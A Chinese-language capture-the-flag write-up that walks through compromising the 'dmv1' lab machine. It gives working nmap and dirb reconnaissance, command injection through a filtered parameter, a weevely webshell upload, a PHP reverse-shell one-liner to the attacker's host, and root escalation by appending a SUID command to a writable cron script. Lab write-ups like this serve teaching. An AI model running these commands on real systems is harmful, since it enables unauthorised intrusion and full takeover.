信息收集

  • 在kali的系统进入界面我们通过账号kali 登录机(账号密码均为kali),登录完成后我们通过终端命令来确认一下本机网络地址,

在命令行输入 ifconfig

192.168.66.129子网掩码是255.255.255.0,由此我们可以判断场景处于局域网192.168.66.0/24内部

  • 接下来我们通过nmap命令工具来扫描一下局域网内部的其他设备,来确认一下是否存在靶机

sudo nmap -sn 192.168.66.0/24

  • 除去场景内设置的路由器和网关地址,我们可以看到还存在一台192.168.66.139的设备,推测该地址是靶机地址,我们继续使用nmap工具对地址进行扫描 确认一下

nmap --min-rate 10000 -p- 192.168.66.

  • 通过以上步骤得知系统暴露以上端口,但目前不清楚端口后对应的服务,继续使用nmap扫描执行一项
  • 命令行执行nmap -sT -sC -sV -O -p80, ip
  • 检测到目的地址开放80端口 。80端口通常在服务器上作为http web服务开放使用,考虑到80端口通常存在多个界面或目录,我们使用dirb工具对目录进行爆破

dirb http://192.168.66.

渗透分析

1 登录web界面发现是一款视频下载工具,使用burpsuite抓包发现请求路径是yt_url,尝试在请求参数中加载shell命令进行测试

dmv1靶机学习_靶机学习

使用ls -la查看有无隐藏文件发现无法请求

dmv1靶机学习_靶机学习_02

退出可能屏蔽了空格增加参数${IFS}

在kali使用weevely生成木马并开启http服务

weevely generate test ./shell.php
python3 -m http.server

在burpsuite将使用wget命令下载木马

在kali使用weevely连接获取初始权限

建立立足点

webshell通常权限受限比较大,这里执行php命令使用反弹shell

首先在kali界面监听1234端口

nc -lvnp 1234

在webshell执行

php -r '$sock=fsockopen("192.168.66.3",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

在kali 的反弹界面中使用find搜索拥有root权限的命令

find / -perm -u=s -type f 2>/dev/null

并没有root权限命令,只能尝试搜索目录下文件查看有无提权方式

dmv1靶机学习_靶机学习_03

这里在admin命令下找到一个flag,做一个初步的记录

其次可以发现两个脚本 一个是pspy64,一款检测进程工具 另外在tmp目录下找到clean.sh 可能是计划任务

这里首先使用pspy64 寻找clean执行历史发现

dmv1靶机学习_靶机学习_04

查看clean权限 发现当前用户有读写权限

dmv1靶机学习_靶机学习_05

在反弹shell中执行

echo "chmod u+s /usr/bin/find" >> clean.sh

给于find命令s权限进而使用find命令进行提权

find . -exec /bin/bash -p \;

提权

  • 首先查看系统版本及内核版本
  • 查看系统账号。
  • 查看sudo权限
  • 查看计划任务
  • 查看允许运行的服务

攻击结果

dmv1靶机学习_靶机学习_06